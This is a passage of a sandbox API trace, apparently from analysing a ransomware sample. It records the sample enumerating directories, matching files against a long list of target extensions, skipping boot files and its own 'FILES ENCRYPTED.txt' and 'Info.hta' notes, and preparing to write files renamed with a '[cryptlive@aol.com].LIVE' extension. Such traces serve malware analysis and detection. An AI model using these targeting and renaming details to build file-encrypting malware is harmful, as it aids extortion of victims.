lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0162.024] lstrlenW (lpString=".7z") returned 3 [0162.024] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.024] lstrlenW (lpString=".dbf") returned 4 [0162.024] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0162.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.024] lstrlenW (lpString=".1cd") returned 4 [0162.024] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".jpg") returned 4 [0162.025] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".doc") returned 4 [0162.025] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString=".docx") returned 5 [0162.025] lstrcmpiW (lpString1=".docx", lpString2="Q.CFG") returned -1 [0162.025] lstrlenW (lpString=".pdf") returned 4 [0162.025] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString=".xls") returned 4 [0162.025] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString=".xlsx") returned 5 [0162.025] lstrcmpiW (lpString1=".xlsx", lpString2="Q.CFG") returned -1 [0162.025] lstrlenW (lpString=".ppt") returned 4 [0162.025] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".zip") returned 4 [0162.025] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString=".rar") returned 4 [0162.025] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString=".bz2") returned 4 [0162.025] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0162.025] lstrlenW (lpString=".7z") returned 3 [0162.025] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".dbf") returned 4 [0162.025] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".1cd") returned 4 [0162.025] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0162.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKREQ.CFG") returned 65 [0162.025] lstrlenW (lpString=".jpg") returned 4 [0162.025] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0162.026] lstrcmpiW (lpString1=".LNG", lpString2=".LIVE") returned 1 [0162.026] lstrlenW (lpString="FRENCH.LNG") returned 10 [0162.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0162.026] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=559411) returned 1 [0162.027] CloseHandle (hObject=0x1b4) returned 1 [0162.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng")) returned 0x20 [0162.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0162.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0162.027] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.027] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0162.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\french.lng.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 61 os_tid = 0x67c [0126.767] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3a66328 [0126.768] lstrlenW (lpString="C:") returned 2 [0126.768] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x364fd00 | out: lpFindFileData=0x364fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x8ef728 [0126.768] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0126.768] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0126.768] lstrlenW (lpString="$Recycle.Bin") returned 12 [0126.768] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0126.768] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3a76330 [0126.769] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0126.769] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8ef768 [0126.769] FindNextFileW (in: hFindFile=0x8ef768, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.769] FindNextFileW (in: hFindFile=0x8ef768, lpFindFileData=0x364fa84 | out: lpFindFileData=0x364fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0126.769] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0126.769] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0126.769] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0126.769] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0126.769] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x3a87340 [0126.770] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0126.770] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8ef7a8 [0126.770] FindNextFileW (in: hFindFile=0x8ef7a8, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.770] FindNextFileW (in: hFindFile=0x8ef7a8, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x57b0bfa0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x57b0bfa0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x57b0bfa0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0126.770] lstrlenW (lpString="desktop.ini") returned 11 [0126.770] lstrlenW (lpString=".1cd") returned 4 [0126.770] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0126.770] lstrlenW (lpString=".3ds") returned 4 [0126.770] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0126.770] lstrlenW (lpString=".3fr") returned 4 [0126.770] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0126.770] lstrlenW (lpString=".3g2") returned 4 [0126.770] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".3gp") returned 4 [0126.771] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".7z") returned 3 [0126.771] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0126.771] lstrlenW (lpString=".accda") returned 6 [0126.771] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".accdb") returned 6 [0126.771] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".accdc") returned 6 [0126.771] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".accde") returned 6 [0126.771] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".accdt") returned 6 [0126.771] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".accdw") returned 6 [0126.771] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0126.771] lstrlenW (lpString=".adb") returned 4 [0126.771] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".adp") returned 4 [0126.771] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".ai") returned 3 [0126.771] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0126.771] lstrlenW (lpString=".ai3") returned 4 [0126.771] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".ai4") returned 4 [0126.771] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".ai5") returned 4 [0126.771] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".ai6") returned 4 [0126.771] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0126.771] lstrlenW (lpString=".ai7") returned 4 [0126.772] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".ai8") returned 4 [0126.772] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".anim") returned 5 [0126.772] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0126.772] lstrlenW (lpString=".arw") returned 4 [0126.772] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".as") returned 3 [0126.772] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0126.772] lstrlenW (lpString=".asa") returned 4 [0126.772] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".asc") returned 4 [0126.772] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".ascx") returned 5 [0126.772] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0126.772] lstrlenW (lpString=".asm") returned 4 [0126.772] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".asmx") returned 5 [0126.772] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0126.772] lstrlenW (lpString=".asp") returned 4 [0126.772] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".aspx") returned 5 [0126.772] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0126.772] lstrlenW (lpString=".asr") returned 4 [0126.772] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".asx") returned 4 [0126.772] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".avi") returned 4 [0126.772] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".avs") returned 4 [0126.772] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".backup") returned 7 [0126.772] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0126.772] lstrlenW (lpString=".bak") returned 4 [0126.772] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0126.772] lstrlenW (lpString=".bay") returned 4 [0126.772] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".bd") returned 3 [0126.773] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0126.773] lstrlenW (lpString=".bin") returned 4 [0126.773] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".bmp") returned 4 [0126.773] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".bz2") returned 4 [0126.773] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".c") returned 2 [0126.773] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0126.773] lstrlenW (lpString=".cdr") returned 4 [0126.773] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".cer") returned 4 [0126.773] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".cf") returned 3 [0126.773] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0126.773] lstrlenW (lpString=".cfc") returned 4 [0126.773] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".cfm") returned 4 [0126.773] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".cfml") returned 5 [0126.773] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0126.773] lstrlenW (lpString=".cfu") returned 4 [0126.773] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".chm") returned 4 [0126.773] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".cin") returned 4 [0126.773] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".class") returned 6 [0126.773] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0126.773] lstrlenW (lpString=".clx") returned 4 [0126.773] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0126.773] lstrlenW (lpString=".config") returned 7 [0126.773] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0126.774] lstrlenW (lpString=".cpp") returned 4 [0126.774] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".cr2") returned 4 [0126.774] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".crt") returned 4 [0126.774] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".crw") returned 4 [0126.774] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".cs") returned 3 [0126.774] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0126.774] lstrlenW (lpString=".css") returned 4 [0126.774] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".csv") returned 4 [0126.774] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".cub") returned 4 [0126.774] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dae") returned 4 [0126.774] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dat") returned 4 [0126.774] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".db") returned 3 [0126.774] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0126.774] lstrlenW (lpString=".dbf") returned 4 [0126.774] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dbx") returned 4 [0126.774] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dc3") returned 4 [0126.774] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dcm") returned 4 [0126.774] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".dcr") returned 4 [0126.774] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0126.774] lstrlenW (lpString=".der") returned 4 [0126.774] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dib") returned 4 [0126.775] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dic") returned 4 [0126.775] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dif") returned 4 [0126.775] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".divx") returned 5 [0126.775] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".djvu") returned 5 [0126.775] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".dng") returned 4 [0126.775] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".doc") returned 4 [0126.775] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".docm") returned 5 [0126.775] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".docx") returned 5 [0126.775] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".dot") returned 4 [0126.775] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dotm") returned 5 [0126.775] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".dotx") returned 5 [0126.775] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0126.775] lstrlenW (lpString=".dpx") returned 4 [0126.775] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dqy") returned 4 [0126.775] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dsn") returned 4 [0126.775] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dt") returned 3 [0126.775] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0126.775] lstrlenW (lpString=".dtd") returned 4 [0126.775] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0126.775] lstrlenW (lpString=".dwg") returned 4 [0126.775] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".dwt") returned 4 [0126.776] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".dx") returned 3 [0126.776] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0126.776] lstrlenW (lpString=".dxf") returned 4 [0126.776] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".edml") returned 5 [0126.776] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0126.776] lstrlenW (lpString=".efd") returned 4 [0126.776] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".elf") returned 4 [0126.776] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".emf") returned 4 [0126.776] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".emz") returned 4 [0126.776] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".epf") returned 4 [0126.776] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".eps") returned 4 [0126.776] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".epsf") returned 5 [0126.776] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0126.776] lstrlenW (lpString=".epsp") returned 5 [0126.776] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0126.776] lstrlenW (lpString=".erf") returned 4 [0126.776] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".exr") returned 4 [0126.776] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".f4v") returned 4 [0126.776] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".fido") returned 5 [0126.776] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0126.776] lstrlenW (lpString=".flm") returned 4 [0126.776] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".flv") returned 4 [0126.776] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0126.776] lstrlenW (lpString=".frm") returned 4 [0126.777] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".fxg") returned 4 [0126.777] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".geo") returned 4 [0126.777] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".gif") returned 4 [0126.777] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".grs") returned 4 [0126.777] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".gz") returned 3 [0126.777] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0126.777] lstrlenW (lpString=".h") returned 2 [0126.777] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0126.777] lstrlenW (lpString=".hdr") returned 4 [0126.777] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".hpp") returned 4 [0126.777] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".hta") returned 4 [0126.777] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".htc") returned 4 [0126.777] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".htm") returned 4 [0126.777] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".html") returned 5 [0126.777] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0126.777] lstrlenW (lpString=".icb") returned 4 [0126.777] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".ics") returned 4 [0126.777] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".iff") returned 4 [0126.777] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".inc") returned 4 [0126.777] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0126.777] lstrlenW (lpString=".indd") returned 5 [0126.777] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0126.777] lstrlenW (lpString=".ini") returned 4 [0126.777] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0126.778] lstrlenW (lpString="desktop.ini") returned 11 [0126.778] lstrlenW (lpString=".LIVE") returned 5 [0126.778] lstrcmpiW (lpString1=".LIVE", lpString2="p.ini") returned -1 [0126.778] lstrlenW (lpString="desktop.ini") returned 11 [0126.778] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0126.778] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0126.778] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0126.778] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0126.778] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0126.778] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0126.778] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0126.778] lstrcmpiW (lpString1="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpString2="desktop.ini") returned 1 [0126.778] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0126.778] FindNextFileW (in: hFindFile=0x8ef7a8, lpFindFileData=0x364f808 | out: lpFindFileData=0x364f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x219d4dc0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x219d4dc0, ftLastAccessTime.dwHighDateTime=0x1d5e206, 